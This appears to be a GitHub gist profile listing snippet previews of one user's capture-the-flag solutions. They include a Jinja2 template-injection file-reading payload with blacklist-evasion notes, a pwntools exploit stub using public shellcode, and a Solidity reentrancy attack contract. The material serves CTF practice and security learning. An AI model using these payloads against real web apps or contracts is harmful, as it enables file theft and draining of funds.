Skip to content

Instantly share code, notes, and snippets.

View aadityapurani's full-sized avatar
🎯
Focusing

Aaditya Purani aadityapurani

🎯
Focusing
View GitHub Profile
@aadityapurani
aadityapurani / README.md
Last active December 7, 2020 04:41
pbcoin - pbctf 2020 Solution and source

pbcoin

Category: Misc

Author: knapstack

Solves: 1 out of 962 teams

Description: Our team strives to stay up-to-date with latest technologies. Somebody told me that I can secure my code if I apply crypto on it and use blockchain.

@aadityapurani
aadityapurani / solve_basic.py
Last active October 22, 2018 18:23
[HITCON CTF 2018] EV3
import json
import operator
'''
Have to read documentation and see how opUI_DRAW worked
840501xxxxyyyyff
opcode text black xcord ycord char
Communication happens from localhost ethernet -> ev3
'''
@aadityapurani
aadityapurani / compmove.txt
Last active September 17, 2018 01:51
CSAW CTF 2018 - McGriddle (300)
Nf3
d4
Nc3
Bg5
e3
Bxf6
Bb5+
O-O
Ne5
Bd3
@aadityapurani
aadityapurani / README.md
Last active April 8, 2018 17:10
hard_to_hack (web 400) - BBCTF2018

Hard_To_Hack (Web 400) - BBCTF2018

Test Condition: {{'7'*7}} Config : {{config}} Request not blocked : {{request}}

After successive tries, figured out class keyword was blacklisted and so did many important keywords. But we can use + to concat two strings and use it.

General file reading payload for Jinja2 is {{ ''.__class__.__mro__[2].__subclasses__()[40]('flag', 'r').read() }}

@aadityapurani
aadityapurani / actual.js
Created April 8, 2018 14:47
laz3y (web 350) - BBCTF 2018
// Step 1: De-obfuscate `obfuscated.js` and prettify
// De-obfuscated version
var _0x3879 = [
'GfKdJ',
'pgMYh',
'fhRJI',
'pKpLY',
'JRvAt',
'igFeE',
'gIFmj',
@aadityapurani
aadityapurani / DAOExploit.sol
Last active March 13, 2018 04:10
Ethereum attacks documentation
pragma solidity ^0.4.0;
contract Fundraiser {
mapping(address => uint) balances;
function withdrawCoins(){
uint withdrawAmount = balances[msg.sender];
PwnWallet wallet = PwnWallet(msg.sender);
wallet.payout.value(withdrawAmount)();
@aadityapurani
aadityapurani / genesis.json
Created January 7, 2018 06:56
Genesis file for geth ethereum
{
"config": {
"chainId": 15,
"homesteadBlock": 0,
"eip155Block": 0,
"eip158Block": 0
},
"nonce": "0x0000000000000033",
"timestamp": "0x0",
"parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
@aadityapurani
aadityapurani / pilot_exploit.py
Created October 29, 2017 04:22
CSAW CTF Quals 2017
from pwn import *
'''
Shell-Code https://www.exploit-db.com/exploits/36858/
'''
p = process('./pilot')
#p = remote('pwn.chal.csaw.io', 8464)
p.recvuntil("Location:")
buff = int(p.recvline(), 16)
import angr
'''
TokyoWestern CTF rev_rev_rev solved using Angr
'''
p = angr.Project("rev_rev_rev")
ex = p.surveyors.Explorer(find=(0x08048679, ), avoid=(0x0804868B, ))
ex.run()
ex.found[0]
print ex.found[0].state.posix.dumps(0)
@aadityapurani
aadityapurani / sploit.js
Created September 17, 2017 20:58
FunTimeJS 2 (One Liner)
console.log(require('fs').readFileSync('flag.txt').toString());